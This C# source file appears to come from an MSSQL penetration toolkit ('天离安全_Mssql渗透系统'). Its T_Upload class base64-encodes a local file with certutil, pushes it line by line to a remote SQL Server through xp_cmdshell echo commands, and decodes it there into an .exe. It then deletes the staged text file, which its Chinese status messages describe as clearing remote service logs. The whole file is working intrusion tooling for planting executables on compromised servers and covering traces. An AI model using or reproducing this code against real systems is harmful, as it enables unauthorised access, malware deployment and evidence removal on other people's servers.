﻿using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace 天离安全_Mssql渗透系统.Services
{
    /// <summary>
    /// 文件上传
    /// </summary>
    public class T_Upload
    {
        /// <summary>
        /// 将编码的内容暂存到这个地方
        /// </summary>
        public static string code = "Tl_File_Code.txt";
        public static async Task Upload(SqlConnection connection, Action<string> statusCallback = null)
        {
            statusCallback?.Invoke("正在进行编码，请等待！");

            // 远程需要上传的路径
            string removepath = Api.T_Files_Info.RemovName;
            // 远程需要保存文件的名称
            string removename = Api.T_File_Upload.FileNmae;
            // 本地文件
            string localfile = Api.T_Files_Info.LoaclPath;

            // 首先是读取本地文件的内容
            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    FileName = "certutil",
                    Arguments = $"-encode \"{localfile}\" \"Tl_File_Code.txt\"",
                    UseShellExecute = false,
                    CreateNoWindow = true,
                    WindowStyle = ProcessWindowStyle.Hidden
                };

                using (Process process = Process.Start(startInfo))
                {
                    process.WaitForExit();
                }
                statusCallback?.Invoke("文件编码成功！");
            }
            catch (Exception ex)
            {
                statusCallback?.Invoke($"文件编码失败：{ex.Message}");
                Console.WriteLine($"错误: {ex.Message}");
                return;
            }

            // 这里先循环读取本地文件的内容
            string[] lines = File.ReadAllLines("Tl_File_Code.txt");
            int totalLines = lines.Length;
            int currentLine = 0;

            foreach (string line in lines)
            {
                currentLine++;
                // 通过sql执行多条系统命令
                try
                {
                    // 使用echo 实现按行写入编码的文件
                    string sql = $"EXEC xp_cmdshell \"echo {line} >> {removepath}{removename}.txt\"";
                    Console.WriteLine(sql);
                    using (SqlCommand command = new SqlCommand(sql, connection))
                    {
                        using (SqlDataReader reader = await command.ExecuteReaderAsync())
                        {
                            await reader.ReadAsync();
                        }
                    }

                    // 每处理10行更新一次进度
                    if (currentLine % 10 == 0 || currentLine == totalLines)
                    {
                        statusCallback?.Invoke($"正在写入文件... ({currentLine}/{totalLines})");
                    }
                }
                catch (Exception ex)
                {
                    statusCallback?.Invoke($"写入第{currentLine}行时出错：{ex.Message}");
                    Console.WriteLine(ex.ToString());
                }
            }

            statusCallback?.Invoke("文件写入成功！");

            // 写入完成后首先是要删除本地的文件
            try
            {
                Process.Start("cmd.exe", "/c del Tl_File_Code.txt")?.WaitForExit();
                statusCallback?.Invoke("本地缓存清理成功！");
            }
            catch (Exception ex)
            {
                statusCallback?.Invoke($"本地缓存清理失败：{ex.Message}");
            }

            // 然后去对远程路径执行文件解码
            try
            {
                string sql = $"EXEC xp_cmdshell \"certutil -decode {removepath}{removename}.txt {removepath}{removename}.exe\"";
                Console.WriteLine(sql);
                using (SqlCommand command = new SqlCommand(sql, connection))
                {
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        await reader.ReadAsync();
                    }
                }
                statusCallback?.Invoke("文件解码成功！");
            }
            catch (Exception ex)
            {
                statusCallback?.Invoke($"文件解码失败：{ex.Message}");
                Console.WriteLine(ex.ToString());
            }

            // 然后删除远程的编码文件
            try
            {
                string sql = $"EXEC xp_cmdshell \"del {removepath}{removename}.txt\"";
                Console.WriteLine(sql);
                using (SqlCommand command = new SqlCommand(sql, connection))
                {
                    using (SqlDataReader reader = await command.ExecuteReaderAsync())
                    {
                        await reader.ReadAsync();
                    }
                }
                statusCallback?.Invoke("远程服务日志清除成功！");
            }
            catch (Exception ex)
            {
                statusCallback?.Invoke($"远程服务日志清除失败：{ex.Message}");
                Console.WriteLine(ex.ToString());
            }

            statusCallback?.Invoke("文件上传成功！");
        }
    }
}
